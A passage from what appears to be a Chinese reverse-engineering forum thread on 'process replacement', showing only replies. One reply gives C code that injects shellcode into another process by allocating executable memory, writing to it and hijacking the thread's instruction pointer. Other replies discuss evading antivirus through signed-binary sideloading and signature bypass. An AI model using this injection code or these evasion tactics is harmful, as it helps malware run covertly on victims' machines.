首页
社区
课程
招聘
[原创]进程替换
发表于: 2012-7-17 00:19 58483

[原创]进程替换

2012-7-17 00:19
58483
收藏
免费 8
支持
分享
最新回复 (96)
雪    币: 208
活跃值: (148)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
26
SetThreadContext不被杀就牛B了
2012-7-20 19:43
0
雪    币: 1248
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wpm
27
围观一众大牛
2012-7-23 09:23
0
雪    币: 212
活跃值: (47)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
28
学习思路,能否被干掉先不说。
2012-7-23 16:07
0
雪    币: 324
活跃值: (113)
能力值: ( LV15,RANK:280 )
在线值:
发帖
回帖
粉丝
29
既然申请了新空间VirtualAllocEx,既然WriteProcessMemory,又何必需要unmap原有的代码呢。
    DWORD   pid,tid,orgEip;
    HANDLE  hThread;
    PVOID   mem_base;
    CONTEXT ct;
    BOOL bRet = FALSE;

    pid = GetProcessId( hProcess );
    tid = FindMainThreadId( pid );

    hThread = OpenThread( THREAD_ALL_ACCESS,FALSE,tid );

    SuspendThread( hThread );

    ct.ContextFlags = CONTEXT_FULL;
    GetThreadContext( hThread,&ct );
    orgEip = ct.Eip;
    
    mem_base = VirtualAllocEx( hProcess,NULL,sc_len,MEM_COMMIT,PAGE_EXECUTE_READWRITE );
	printf("%x\n",mem_base);


    bRet = WriteProcessMemory( hProcess,mem_base,shellcode,sc_len,NULL);
	if(!bRet)
	{
		printf("WriteProcessMemory failed. Error code: %d",GetLastError());
	}
    ct.ContextFlags = CONTEXT_FULL;
    ct.Eip = (DWORD)mem_base;
    SetThreadContext( hThread,&ct );
    ResumeThread( hThread );
    
    CloseHandle( hThread );
	return TRUE;

这段代码完成的功能是一样的。
2012-7-26 14:32
0
雪    币: 130
活跃值: (61)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
30
学习了,哈哈
2012-8-9 20:05
0
雪    币: 544
活跃值: (264)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
31
WriteProcessMemory

SetThreadContext

动作太大了
2012-8-10 09:48
0
雪    币: 5
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
32
虽然杀着,依然是学习的对象
2012-8-21 15:54
0
雪    币: 110
活跃值: (55)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
33
这个方法很久前就有了 但是支持下
2012-8-25 22:02
0
雪    币: 0
活跃值: (954)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
34
这不是傀儡进程,这是偷梁换柱
2012-8-28 10:31
0
雪    币: 3017
活跃值: (3060)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
35
用来注入其实是很不错的~
2012-8-28 14:32
0
雪    币: 158
活跃值: (18)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
36
强悍,感谢楼主分享
2012-10-14 21:35
0
雪    币: 189
活跃值: (4810)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
37
收藏.......................
2012-10-23 20:15
0
雪    币: 191
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
38
好东西。先收藏了。
2012-10-27 08:23
0
雪    币: 13
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
39
学习,mark一下
2012-10-30 10:46
0
雪    币: 184
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
40
学习下思路还不错
2013-3-8 13:57
0
雪    币: 92
活跃值: (100)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
41
楼主大神,学习了~
2013-5-3 01:38
0
雪    币: 35
活跃值: (139)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
42
练手,学习学习
2013-5-9 23:15
0
雪    币: 77
活跃值: (48)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
43
mark
2014-2-10 20:19
0
雪    币: 192
活跃值: (44)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
44
顶一个,老技术,精神鼓励。
2014-2-10 21:35
0
雪    币: 110
活跃值: (522)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
45
我想说,我写的都能过.为毛呢.
2014-2-12 16:05
0
雪    币: 2664
活跃值: (3401)
能力值: ( LV13,RANK:1760 )
在线值:
发帖
回帖
粉丝
46
  白加黑就能过
2014-2-12 16:36
0
雪    币: 110
活跃值: (522)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
47
已经放弃了进程替换了,太垃圾了,主要是WIN764跑不起来,还不如白加黑通用!
2014-2-12 16:48
0
雪    币: 2664
活跃值: (3401)
能力值: ( LV13,RANK:1760 )
在线值:
发帖
回帖
粉丝
48
WIN7x64我还木有测试过,不过我之前弄得白加黑也是和进程替换结合起来的, 只不过不是一个exe替换,直接把shellcode写入目标进程,然后修改入口点,这样效果比较好.
2014-2-12 17:53
0
雪    币: 2664
活跃值: (3401)
能力值: ( LV13,RANK:1760 )
在线值:
发帖
回帖
粉丝
49
特征码不是难事,构造的巧妙主防照样过,数字稍微麻烦点而已
2014-2-12 17:56
0
雪    币: 110
活跃值: (522)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
50
往目标进程写shellcode,改入口点.动作太大了吧..不过.这段代码我想要一份,如果愿意的话加我.QQ2745459923(请备注看雪,).共同交流,可以分享一下思路,我也有好思路哦,!
2014-2-13 09:19
0
游客
登录 | 注册 方可回帖
返回
//